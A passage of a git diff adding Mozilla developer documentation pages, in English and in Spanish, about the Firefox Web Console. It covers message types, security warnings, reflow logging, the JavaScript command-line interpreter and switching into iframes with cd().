+<p>Each message is displayed as a single row in the pane.</p>
+
+<h3 id="HTTP_requests">HTTP requests</h3>
+
+<p>HTTP requests are logged with a line that looks like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5593/web-console-message-request-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<ul>
+ <li><strong>Time</strong>: the time the message was recorded</li>
+ <li><strong>Category</strong>: this indicates that the message is an HTTP request</li>
+ <li><strong>Method</strong>: the specific HTTP request method</li>
+ <li><strong>URI</strong>: the target URI</li>
+ <li><strong>Summary</strong>: the HTTP version, status code, and time taken to complete</li>
+</ul>
+
+<p>By default, the Web Console does not log request and response bodies: to do this, activate the context menu in the Web Console and select "Log Request and Response Bodies".</p>
+
+<p>If you click on the message, you'll see a window like this, containing more details about the request and response:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/3148/detailspanel.png" style="display: block; height: 502px; margin-left: auto; margin-right: auto; width: 430px;">Scrolling down reveals the response headers. By default, the Web Console does not log request and response bodies: to do this, activate the context menu in the Web Console and select "Log Request and Response Bodies", reload the page, and you'll then see them in the "Inspect Network Request" window.</p>
+
+<p>Only the first megabyte of data is logged for each request or response body, so very large requests and responses will be truncated.</p>
+
+<h3 id="Warnings_and_errors">Warnings and errors</h3>
+
+<p>Warnings and errors are logged with a line looking something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5585/web-console-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<ul>
+ <li><strong>Time</strong>: the time the message was recorded. From Firefox 28 onwards this is not shown by default, and you can opt to see timestamps using a <a href="/en-US/docs/Tools_Toolbox#Settings">setting in the Toolbox</a>.</li>
+ <li><strong>Category</strong>: this indicates what sort of message this is:
+  <ul style="margin-left: 40px;">
+   <li><span style="color: #0099ff;"><strong>Blue</strong></span>: CSS warning/error</li>
+   <li><strong><span style="color: #ff8c00;">Orange</span></strong>: JavaScript warning/error</li>
+   <li><span style="color: #ff0000;"><strong>Red</strong></span>: security warning/error</li>
+   <li><span style="color: #a9a9a9;"><strong>Light Gray</strong></span>: message explicitly logged from JavaScript code using the <a href="/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">console</a> API</li>
+  </ul>
+ </li>
+ <li><strong>Type</strong>: an icon indicating whether it is an error(☓) or a warning(⚠).</li>
+ <li><strong>Message</strong>: the message itself</li>
+ <li><strong>Number of occurrences</strong>: if a line that generates a warning or error is executed more than once, it is only logged once, and this counter appears to indicate how many times it was encountered.</li>
+ <li><strong>Filename and line number</strong>: a link to the filename and line number that generated the message</li>
+</ul>
+
+<h4 id="Security_messages">Security messages</h4>
+
+<p>The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a “Learn More” link that takes you to a page with background information and advice for mitigating the issue.</p>
+
+<p>The complete list of security messages is as follows:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <th scope="col">Message</th>
+   <th scope="col">Details</th>
+  </tr>
+  <tr>
+   <td>Blocked loading mixed active content</td>
+   <td>The page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser blocked this active content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Blocked loading mixed display content</td>
+   <td>The page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser blocked this display content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Loading mixed (insecure) active content on a secure page
+    <div class="geckoVersionNote">
+    <p>Introduced in Firefox 26</p>
+    </div>
+   </td>
+   <td>The page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser loaded this active content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Loading mixed (insecure) display content on a secure page
+    <div class="geckoVersionNote">
+    <p>Introduced in Firefox 26</p>
+    </div>
+   </td>
+   <td>The page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser loaded this display content. See <a href="/en-US/docs/Security/MixedContent">Mixed Content</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>This site specified both an X-Content-Security-Policy/Report-Only header and a Content-Security-Policy/Report-Only header. The X-Content-Security-Policy/Report-Only header(s) will be ignored.</td>
+   <td>See <a href="/en-US/docs/Security/CSP">Content Security Policy</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>The X-Content-Security-Policy and X-Content-Security-Report-Only headers will be deprecated in the future. Please use the Content-Security-Policy and Content-Security-Report-Only headers with CSP spec compliant syntax instead.</td>
+   <td>See <a href="/en-US/docs/Security/CSP">Content Security Policy</a> for more details.</td>
+  </tr>
+  <tr>
+   <td>Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen.
+    <div class="geckoVersionNote">
+    <p>Introduced in Firefox 26</p>
+    </div>
+   </td>
+   <td>Pages containing login forms must be served over HTTPS, not HTTP.</td>
+  </tr>
+  <tr>
+   <td>Password fields present in a form with an insecure (http://) form action. This is a security risk that allows user login credentials to be stolen.
+    <div class="geckoVersionNote">
+    <p>Introduced in Firefox 26</p>
+    </div>
+   </td>
+   <td>Forms containing password fields must submit them over HTTPS, not HTTP.</td>
+  </tr>
+  <tr>
+   <td>Password fields present on an insecure (http://) iframe. This is a security risk that allows user login credentials to be stolen.
+    <div class="geckoVersionNote">
+    <p>Introduced in Firefox 26</p>
+    </div>
+   </td>
+   <td>iframes containing login forms must be served over HTTPS, not HTTP.</td>
+  </tr>
+  <tr>
+   <td>The site specified an invalid Strict-Transport-Security header.</td>
+   <td>See <a href="/en-US/docs/Security/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a> for more details.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> is the meta-bug for logging relevant security messages to the Web Console. If you have more ideas for useful features like the ones discussed here, or are interested in contributing, check out the metabug and its dependencies.</p>
+
+<h3 id="Reflow_events">Reflow events</h3>
+
+<div class="geckoVersionNote">
+<p>Reflow events are only logged from Firefox Desktop 27+ and Firefox OS 1.3+.</p>
+</div>
+
+<p>The Web Console also logs reflow events. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like <a href="/en-US/docs/Web/CSS/:hover">:hover</a>, or manipulating the DOM in JavaScript.</p>
+
+<p>Because reflows can be computationally expensive and directly affect the user interface, they can have a big impact on the responsiveness of a website or web app. By logging reflow events the Web Console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are <a href="#synchronous-and-asynchronous-reflows">synchronous reflows</a> triggered from JavaScript, which code triggered them.</p>
+
+<p>Reflow events are logged under the CSS category, as "Log" messages, as distinct from CSS errors or warnings. By default, they are disabled. You can enable them by clicking the "CSS" button in the <a href="#filtering-and-searching">toolbar</a> and selecting "Log".</p>
+
+<p>Each message is labeled "reflow" and shows the time taken to execute the reflow:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6365/web-console-reflow-asynch.png" style="display: block; height: 53px; margin-left: auto; margin-right: auto; width: 554px;">If the reflow is a synchronous reflow triggered from JavaScript, it also shows a link to the line of code that triggered the reflow:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6367/web-console-reflow-synch.png" style="display: block; height: 51px; margin-left: auto; margin-right: auto; width: 554px;">Click the link to open the file in the <a href="/en-US/docs/Tools/Debugger">Debugger</a>.</p>
+
+<h4 id="Synchronous_and_asynchronous_reflows"><a name="synchronous-and-asynchronous-reflows">Synchronous and asynchronous reflows</a></h4>
+
+<p>If a change is made that invalidates the current layout - for example, the browser window is resized or some JavaScript modifies an element's CSS - the layout is not recalculated immediately. Instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). In this way the browser can save up a collection of invalidating changes and recalculate their effect at once.</p>
+
+<p>However, if some JavaScript code reads a style that has been modified, then the browser must perform a synchronous reflow in order to calculate the computed style to return. For example, code like this will cause an immediate, synchronous, reflow, when it calls <code>window.getComputedStyle(thing).height</code>:</p>
+
+<pre class="brush: js">var thing = document.getElementById("the-thing");
+thing.style.display = "inline-block";
+var thingHeight = window.getComputedStyle(thing).height;</pre>
+
+<p>Because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the DOM, because every time you read back a style that has been invalidated by a previous write call, you force a synchronous reflow.</p>
+
+<h3 id="Inputoutput_messages">Input/output messages</h3>
+
+<p>Commands sent to the browser using the <a href="#command-line" title="#command-line">Web Console's command line</a>, and the corresponding responses, are logged using lines like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5587/web-console-message-input-output.png" style="display: block; height: 68px; margin-left: auto; margin-right: auto; width: 554px;">The dark gray bar indicates that these are input/output messages, while the direction of the arrow discriminates between input and output.</p>
+
+<h3 id="Filtering_and_searching"><a name="filtering-and-searching">Filtering and searching</a></h3>
+
+<p>You can use the toolbar along the top to constrain the results displayed.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5601/web-console-toolbar-highlighted.png" style="display: block; margin-left: auto; margin-right: auto;">You can display only specific types of messages or only message containing specific strings.</p>
+
+<p>Finally, you can use this toolbar to clear the log.</p>
+
+<dl>
+</dl>
+
+<h2 id="The_command_line_interpreter"><a name="command-line">The command line interpreter</a></h2>
+
+<p>You can interpret JavaScript expressions in real time using the command line provided by the Web Console.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5597/web-console-commandline-highlighted.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Basic_operation">Basic operation</h3>
+
+<h4 id="Entering_expressions">Entering expressions</h4>
+
+<p>To enter expressions just type into the command line and press "Enter". To enter multiline expressions, use "Shift+Enter" instead of "Enter".</p>
+
+<p>The expression you type is echoed in the message display window, followed by the result:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5615/web-console-commandline-simple.png" style="display: block; height: 92px; margin-left: auto; margin-right: auto; width: 632px;"></p>
+
+<h4 id="Accessing_variables">Accessing variables</h4>
+
+<p>You can access variables defined in the page, both built-in variables like <code>window</code> and variables added by JavaScript like <code>jQuery</code>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5609/web-console-commandline-href.png" style="display: block; height: 89px; margin-left: auto; margin-right: auto; width: 632px;"><img alt="" src="https://mdn.mozillademos.org/files/5611/web-console-commandline-jquery.png" style="display: block; height: 92px; margin-left: auto; margin-right: auto; width: 632px;"></p>
+
+<h4 id="Autocomplete">Autocomplete</h4>
+
+<p>The command line has autocomplete: enter the first few letters and a popup appears with possible completions:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5607/web-console-commandline-autocomplete.png" style="display: block; height: 125px; margin-left: auto; margin-right: auto; width: 632px;">Type "Enter" or "Tab" to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions.</p>
+
+<div class="geckoVersionNote">
+<p>New in Firefox 28</p>
+</div>
+
+<p>Starting from Firefox 28, the console suggests completions from the scope of the currently executing stack frame. This means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function.</p>
+
+<h4 id="Inspecting_objects">Inspecting objects</h4>
+
+<p>If the result object is an object it appears in square brackets and is underlined, like this: <code><u>[object Function]</u></code>. Click on it, and you'll see a new panel appear containing details of the object:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5613/web-console-commandline-object-details.png" style="display: block; margin-left: auto; margin-right: auto;">To dismiss this panel press "Escape".</p>
+
+<h4 id="Defining_variables">Defining variables</h4>
+
+<p>You can define your own variables, and then access them:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5605/web-console-commandline-addvariable.png" style="display: block; height: 125px; margin-left: auto; margin-right: auto; width: 632px;"><img alt="" src="https://mdn.mozillademos.org/files/5603/web-console-commandline-addfunction.png" style="display: block; height: 168px; margin-left: auto; margin-right: auto; width: 632px;"></p>
+
+<h4 id="Command_history">Command history</h4>
+
+<p>The command line remembers commands you've typed: to move back and forward through your history, use the up and down arrows.</p>
+
+<h3 id="Keyboard_shortcuts">Keyboard shortcuts</h3>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Shortcut</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>↑</td>
+   <td>Moves to the previous entry in the command history, or, if an autocomplete popup is open, highlights the previous suggestion.</td>
+  </tr>
+  <tr>
+   <td>↓</td>
+   <td>Moves to the next entry in the command history, or, if an autocomplete popup is open, highlights the next suggestion.</td>
+  </tr>
+  <tr>
+   <td>Ctrl-A</td>
+   <td>Moves the cursor to the beginning of the line. (Note: beginning with Firefox 22, this will select all text on Windows)</td>
+  </tr>
+  <tr>
+   <td>Ctrl-E</td>
+   <td>Moves the cursor to the end of the line.</td>
+  </tr>
+  <tr>
+   <td>Return</td>
+   <td>Executes the code typed on the command line, or, if an autocomplete popup is open, chooses the current suggestion.</td>
+  </tr>
+  <tr>
+   <td>Shift-Return</td>
+   <td>Expands the height of the text input box for the command line by a line.</td>
+  </tr>
+  <tr>
+   <td>Escape</td>
+   <td>Cancels the autocompletion popup.</td>
+  </tr>
+  <tr>
+   <td>Tab</td>
+   <td>Generates an autocomplete suggestion and accepts the first one.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Helper_commands">Helper commands</h3>
+
+<p>{{ page("/en/Using_the_Web_Console/Helpers", "The commands") }}</p>
+
+<h2 id="The_split_console">The split console</h2>
+
+<div class="geckoVersionNote">
+<p>The split console is new in Firefox 28.</p>
+</div>
+
+<p>{{EmbedYouTube("G2hyxhPHyXo")}}</p>
+
+<p>Starting in Firefox 28, you can use the console alongside other tools. While you're in another tool in the Toolbox, just press "Escape" or press the "Toggle split console" button in the <a href="/en-US/docs/Tools_Toolbox#Toolbar">Toolbar</a>. The toolbox will now appear split, with the original tool above and the web console underneath.</p>
+
+<p>As usual, <code>$0</code> works as a shorthand for the element currently selected in the Inspector:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6619/web-console-split-inspector.png" style="display: block; margin-left: auto; margin-right: auto;">When you use the split console with the debugger, the console's scope is the currently executing stack frame. So if you hit a breakpoint in a function, the scope will be the function's scope. You'll get autocomplete for objects defined in the function, and can easily modify them on the fly:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6621/web-console-split-debugger.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Tools/Web_Console/Helpers" title="en/Using the Web Console/Helpers">Web Console Helpers</a></li>
+ <li>{{ domxref("console") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/Tools/Web_Console"} ) }}</p>
diff --git a/files/es/tools/web_console/iniciando_la_consola_web/index.html b/files/es/tools/web_console/iniciando_la_consola_web/index.html
new file mode 100644
index 0000000000..59b0156a49
--- /dev/null
+++ b/files/es/tools/web_console/iniciando_la_consola_web/index.html
@@ -0,0 +1,23 @@
+---
+title: Iniciando la Consola Web
+slug: Tools/Web_Console/Iniciando_la_Consola_Web
+translation_of: Tools/Web_Console/UI_Tour
+---
+<p>Para abrir la Consola Web:</p>
+
+<ul>
+ <li>Puedes seleccionar "Consola Web" desde el submenu Desarrollador Web en el menu de Firefox ( o menu Herramientas si despliegas la barra menu o estas utilizando Mac OS X)</li>
+ <li>o presionando el <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>K</kbd> (<kbd>Command</kbd><kbd>Option</kbd><kbd>K</kbd> en OS X) atajo de teclado.</li>
+</ul>
+
+<p>La Caja de herramientas (<a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a>) aparecera en la parte baja de la ventana del navegador, con la Consola Web activada (solamente se le llama "Consola" en la barra de herramientas DevTools (<a href="/en-US/docs/Tools/DevTools_Window#Toolbar" title="/en-US/docs/Tools/DevTools_Window#Toolbar">DevTools toolbar</a>)):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11669/console.png" style="display: block; height: 324px; margin-left: auto; margin-right: auto; width: 952px;"></p>
+
+<p>La interfaz de la Consola Web esta dividida en tres secciones horizontales que son:</p>
+
+<ul>
+ <li>Barra de herramientas (<a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category" title="#filtering-and-searching">Toolbar</a>): A lo largo de la parte de arriba esta la barra de herramientas, contiene botones con etiquetas como "Net", "CSS", and "JS". Esta barra de herramientas se usa para filtrar cuales mensajes seran mostrados.</li>
+ <li>Linea de comando (<a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter" title="#command-line">Command Line</a>): A lo largo  de la parte de abajo esta una linea de comando que se puede utilizar para ingresar expresiones en  JavaScript </li>
+ <li>Panel de Mensaje (<a href="/en-US/docs/Tools/Web_Console/Console_messages" title="#message-display-pane">Message Display Pane</a>): se localiza en medio de la barra de herramientas y la linea de omando, ocupa la mayor parte de la ventana, es el espacio en el cual la Consola Web muestra los mensajes.</li>
+</ul>
diff --git a/files/es/tools/web_console/la_línea_de_comandos_del_intérprete/index.html b/files/es/tools/web_console/la_línea_de_comandos_del_intérprete/index.html
new file mode 100644
index 0000000000..06e5922248
--- /dev/null
+++ b/files/es/tools/web_console/la_línea_de_comandos_del_intérprete/index.html
@@ -0,0 +1,188 @@
+---
+title: La línea de comandos del intérprete de JavaScript
+slug: Tools/Web_Console/La_línea_de_comandos_del_intérprete
+tags:
+  - Debugging
+  - Depuración
+  - Desarrollo web
+  - consola web
+translation_of: Tools/Web_Console/The_command_line_interpreter
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>Puedes interpretar expresiones JavaScript en tiempo real utilizando el intérprete proporcionado por la Consola web. Tiene dos modos: entrada unilínea y entrada multilínea.</p>
+
+<h2 id="Modo_unilínea">Modo unilínea</h2>
+
+<p>Para entrada de una sola línea, puedes escribir expresiones JavaScript en el campo en la parte inferior del registro de la consola, en el indicador <strong>&gt;&gt;</strong>.</p>
+
+<p><img alt="La consola web, mostrando el modo unilínea" src="https://mdn.mozillademos.org/files/16965/web_console_single.png" style="display: block; height: 704px; margin-left: auto; margin-right: auto; width: 1952px;"></p>
+
+<p>Para ingresar expresiones en el modo unilínea, escribe en el indicador y presiona <kbd>Intro</kbd>. Para ingresar expresiones de varias líneas, presiona <kbd>Mayús</kbd>+<kbd>Intro</kbd> después de escribir cada línea, luego <kbd>Intro</kbd> para ejecutar todas las líneas ingresadas.</p>
+
+<p>La expresión que escribas se repite debajo de la petición de entrada, seguida del resultado.</p>
+
+<p>Si tu entrada no parece estar completa cuando presiones <kbd>Intro</kbd>, la consola lo trata como <kbd>Mayús</kbd>+<kbd>Intro</kbd>, lo cual te permite finalizar tu entrada.</p>
+
+<p>Por ejemplo, si escribes:</p>
+
+<pre class="brush: js notranslate">function foo() {</pre>
+
+<p>y luego <kbd>Intro</kbd>, la consola no ejecuta inmediatamente la entrada, pero se comporta como si hubieras presionado <kbd>Mayús</kbd>+<kbd>Intro</kbd>, para que puedas terminar de ingresar la definición de la función.</p>
+
+<h2 id="Modo_multilínea">Modo multilínea</h2>
+
+<p>Para la entrada multilínea, haz clic en el icono de "panel dividido" en el lado derecho del campo de entrada unilínea, o presiona <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) o <kbd>Cmd</kbd>+<kbd>B</kbd> (macOS). El panel de edición multilínea se abre en el lado izquierdo de la Consola web.</p>
+
+<p><img alt="Modo multilínea en la consola web" src="https://mdn.mozillademos.org/files/16966/web_console_multi.png" style="border-style: solid; border-width: 1px; height: 700px; width: 1946px;"></p>
+
+<p>De manera predeterminada, en este modo puedes ingresar múltiples líneas de JavaScript, presionando <kbd>Intro</kbd> después de cada una. Para ejecutar el fragmento que se encuentre actualmente en el panel de edición, haz clic en el botón <strong>Ejecutar</strong> o presiona <kbd>Ctrl</kbd>+<kbd>Intro</kbd> (o <kbd>Cmd</kbd>+<kbd>Intro</kbd> en MacOS). El fragmento se repite debajo de la petición de entrada (en el panel del lado derecho), seguido del resultado. También puedes seleccionar un rango de líneas en el panel de edición y ejecutar solo el código en esas líneas.</p>
+
+<p>A partir de Firefox 76, si el fragmento de código tiene más de cinco líneas, solo las primeras cinco líneas se repiten en la consola, precedidas por un triángulo desplegable (o "twistie") y seguidos por puntos suspensivos (…). Haz clic en cualquier parte del área que contiene el código reproducido para mostrar el fragmento completo; haz clic de nuevo en esa área para contraerlo.</p>
+
+<p>Puedes abrir archivos en el modo multilínea y guardar el contenido actual del panel de edición en un archivo.</p>
+
+<ul>
+ <li>Para abrir un archivo, presiona <kbd>Ctrl</kbd>+<kbd>O</kbd> (<kbd>Cmd</kbd>+<kbd>O</kbd> en MacOS). Se abre un cuadro de diálogo de archivo para que puedas seleccionar el archivo que deseas abrir.</li>
+ <li>Para guardar el contenido del panel de edición, presiona <kbd>Ctrl</kbd>+<kbd>S</kbd> (<kbd>Cmd</kbd>+<kbd>S</kbd> en MacOS). Se abre un cuadro de diálogo de archivo para que puedas especificar la ubicación en la que deseas guardar el archivo.</li>
+</ul>
+
+<p>Para volver al modo unilínea, haz clic en el icono <strong>X</strong> en la parte superior del panel de edición multilínea o presiona <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) o <kbd>Cmd</kbd>+<kbd>B</kbd> (MacOS).</p>
+
+<h2 id="Acceder_a_variables">Acceder a variables</h2>
+
+<p>Puedes acceder a las variables definidas en la página, tanto variables integradas como <code>window</code> como variables agregadas por bibliotecas de JavaScript como <em>jQuery</em>:</p>
+
+<p><img alt="Accder a variables" src="https://mdn.mozillademos.org/files/7367/commandline-accessbuiltin.png" style="display: block; margin-left: auto; margin-right: auto;"><img alt="" src="https://mdn.mozillademos.org/files/7369/commandline-accesspageadded.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Autocompletado">Autocompletado</h2>
+
+<p>El editor tiene autocompletado: ingresa las primeras letras y aparecerá una ventana emergente con posibles terminaciones:</p>
+
+<p><img alt="Autocompletado" src="https://mdn.mozillademos.org/files/16426/console_autocomplete_cropped.png" style="border: 1px solid black; display: block; height: 299px; margin-left: auto; margin-right: auto; width: 302px;"></p>
+
+<p>Presiona <kbd>Intro</kbd>, <kbd>Tab</kbd> o la tecla de flecha derecha para aceptar la sugerencia, usa las flechas arriba/abajo para pasar a una diferente sugerencia, o simplemente sigue escribiendo si no te gusta ninguna de las sugerencias.</p>
+
+<p>Las sugerencias de autocompletado de la consola no distinguen entre mayúsculas y minúsculas.</p>
+
+<p>La consola sugiere terminaciones del ámbito del marco de la pila que se está ejecutando actualmente. Esto significa que si has alcanzado un punto de interrupción en una función, obtienes autocompletado para los objetos locales a la función.</p>
+
+<p>También obtienes sugerencias de autocompletado para elementos de arreglo:</p>
+
+<p><img alt="Autocompletado en arreglos" src="https://mdn.mozillademos.org/files/16440/arrayList_autocomplete.png" style="border: 1px solid black; display: block; height: 271px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>Puedes habilitar o deshabilitar el autocompletado a través del menú Configuración ("engrane") en la barra de herramientas de la Consola web. El elemento de menú <strong>Habilitar autocompletado</strong> tiene una marca de verificación junto a él cuando la función está habilitada, que falta cuando está inhabilitada. Selecciona el elemento del menú para cambiar el estado.</p>
+
+<h2 id="Evaluación_instantánea">Evaluación instantánea</h2>
+
+<div class="blockIndicator note">
+<p>Esta característica está disponible en Firefox Nightly, en las versiones etiquetadas con 74 y posteriores.</p>
+</div>
+
+<p>Cuando la característica de "evaluación instantánea" está habilitada, el intérprete muestra los resultados de las expresiones mientras las escribes en el modo unilínea. Ten en cuenta que el resultado puede ser un mensaje de error. Las expresiones que tienen efectos secundarios no se evalúan.</p>
+
+<p>Puedes habilitar o deshabilitar la evaluación instantánea a través del menú Configuración ("engrane") en la barra de herramientas de la Consola web. El elemento <strong>Evaluación instantánea</strong> del menú tiene una marca de verificación junto a él cuando la característica está habilitada, y falta cuando está inhabilitada. Selecciona el elemento del menú para cambiar el estado.</p>
+
+<h2 id="Contexto_de_ejecución">Contexto de ejecución</h2>
+
+<p>El código que has ejecutado se convierte en parte del contexto de ejecución, independientemente del modo de edición en el que te encontrabas cuando lo ejecutaste. Por ejemplo, si escribes una definición de función en el editor multilínea y haces clic en <strong>Ejecutar</strong>, puedes cambiar al modo unilínea y seguir utilizando tu función.</p>
+
+<h2 id="Resaltado_de_sintaxis">Resaltado de sintaxis</h2>
+
+<p><img alt="La salida de la consola mostrando la sintaxis resaltada" src="https://mdn.mozillademos.org/files/16470/console_syntaxHighlighting.png" style="border: 1px solid black; display: block; height: 310px; margin-left: auto; margin-right: auto; width: 452px;"></p>
+
+<p>El texto que ingreses tiene resaltado de sintaxis tan pronto como hayas escrito lo suficiente para que el resaltador lo analice e infiera el significado de las "palabras".</p>
+
+<p>La salida también se resalta cuando es apropiado.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> El resaltado de sintaxis no está visible en tu navegador si se han habilitado las funciones de accesibilidad.</p>
+</div>
+
+<h2 id="Historial_de_ejecución">Historial de ejecución</h2>
+
+<p>El intérprete recuerda las expresiones que has escrito. Para avanzar y retroceder en tu historial:</p>
+
+<ul>
+ <li>En el modo unilínea, usa las flechas hacia arriba y hacia abajo.</li>
+ <li>En el modo multilínea, utiliza los iconos <strong>⋀</strong> y <strong>⋁</strong> de la barra de herramientas del panel de edición.</li>
+</ul>
+
+<p>El historial de expresiones se conserva entre sesiones. Para borrar el historial, usa la <a href="/es/docs/Tools/Web_Console/The_command_line_interpreter#Helper_commands">función auxiliar</a> <code>clearHistory()</code>.</p>
+
+<p>Puedes iniciar una búsqueda inversa a través del historial de expresiones, al igual que en bash en Linux y Mac o PowerShell en Windows. En Windows y Linux, presiona <kbd>F9</kbd>. En Mac, presiona <kbd>Ctrl</kbd>+<kbd>R</kbd> (<strong>Nota:</strong> ¡no <kbd>Cmd</kbd>+<kbd>R</kbd>!) para iniciar la búsqueda inversa.</p>
+
+<p><img alt="Búsqueda inversa" src="https://mdn.mozillademos.org/files/16468/reverse_search.png" style="border: 1px solid black; display: block; height: 335px; margin: 0px auto; width: 500px;"></p>
+
+<p>Ingresa el texto que deseas buscar en el cuadro de entrada en la parte inferior de la consola. Empieza a escribir parte de la expresión que estás buscando y la primera coincidencia se mostrará en la consola. Si escribes <kbd>F9</kbd> repetidamente en Windows y Linux (<kbd>Ctrl</kbd>+<kbd>R</kbd> en Mac), retrocedes por las coincidencias.</p>
+
+<p><img alt="Ejemplo de búsqueda inversa" src="https://mdn.mozillademos.org/files/16469/reverse_search_example.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p>
+
+<p>Una vez que hayas iniciado la búsqueda inversa, puedes usar <kbd>Mayús</kbd>+<kbd>F9</kbd> en Windows o Linux (<kbd>Ctrl</kbd>+<kbd>S</kbd> en Mac) para buscar hacia adelante en la lista de coincidencias. También puedes utilizar los iconos <strong>⋀</strong> y <strong>⋁</strong> en la barra de búsqueda de expresiones.</p>
+
+<p>Cuando encuentres la expresión que deseas, presiona <kbd>Intro</kbd> (<kbd>Intro</kbd>) para ejecutar la instrucción.</p>
+
+<h2 id="Trabajando_con_iframes">Trabajando con <code>iframe</code>s</h2>
+
+<p>Si una página contiene <a href="/es/docs/Web/HTML/Element/iframe">iframes</a> incrustados, puedes utilizar la función <code>cd()</code> para cambiar el alcance de la consola a un <code>iframe</code> específico, y luego puedes ejecutar funciones definidas en el documento alojado por ese <code>iframe</code>. Hay tres formas de seleccionar un <code>iframe</code> usando <code>cd()</code>:</p>
+
+<p>Puedes pasar el elemento <code>iframe</code> del DOM:</p>
+
+<pre class="brush: js notranslate">var frame = document.getElementById("frame1");
+cd(frame);</pre>
+
+<p>Puedes pasar un selector de CSS que coincida con el <code>iframe</code>:</p>
+
+<pre class="brush: js notranslate">cd("#frame1");</pre>
+
+<p>Puedes pasar el objeto <code>window</code> global del <code>iframe</code>:</p>
+
+<pre class="brush: js notranslate">var frame = document.getElementById("frame1");
+cd(frame.contentWindow);
+</pre>
+
+<p>Para volver a cambiar el contexto al objeto <code>window</code> de nivel superior, llama a <code>cd()</code> sin argumentos:</p>
+
+<pre class="brush: js notranslate">cd();</pre>
+
+<p>Por ejemplo, supongamos que tenemos un documento que incluye un <code>iframe</code>:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;iframe id="frame1" src="static/frame/my-frame1.html"&gt;&lt;/iframe&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>El <code>iframe</code> define una nueva función:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;script&gt;
+      function whoAreYou() {
+        return "Yo soy el frame1";
+      }
+   &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Puedes cambiar el contexto al <code>iframe</code> de esta manera:</p>
+
+<pre class="brush: js notranslate">cd("#frame1");</pre>
+
+<p>Ahora verás que el objeto <code>window</code> global del documento es el <code>iframe</code>:</p>
+
